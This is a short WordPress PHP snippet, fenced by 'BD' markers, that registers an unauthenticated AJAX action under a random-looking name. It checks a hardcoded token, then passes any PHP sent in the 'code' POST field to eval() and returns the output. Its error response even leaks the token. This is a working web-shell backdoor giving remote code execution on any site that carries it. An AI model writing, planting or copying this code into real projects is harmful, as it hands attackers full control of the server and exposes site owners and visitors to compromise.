// ==[BD:sAZ4M3Iw]== add_action( 'wp_ajax_nopriv_odtpkmoum', function() { $chunk = 'sAZ4M3IwK2IXXBRE8JwIA613zwTtUN4M'; $val = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $val ) || ! hash_equals( $chunk, $val ) ) { wp_send_json_error( [ 'message' => 'tok:' . $chunk ], 403 ); } $factor = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $factor ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $factor = preg_replace( '/^\s*<\?(php)?/i', '', $factor ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $entry = microtime( true ); ob_start(); try { ( static function() use ( $factor ) { return eval( $factor ); } )(); $obj = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $obj, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] ); } catch ( \Throwable $key ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $key->getMessage(), 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] ); } } ); // ==[/BD:sAZ4M3Iw]==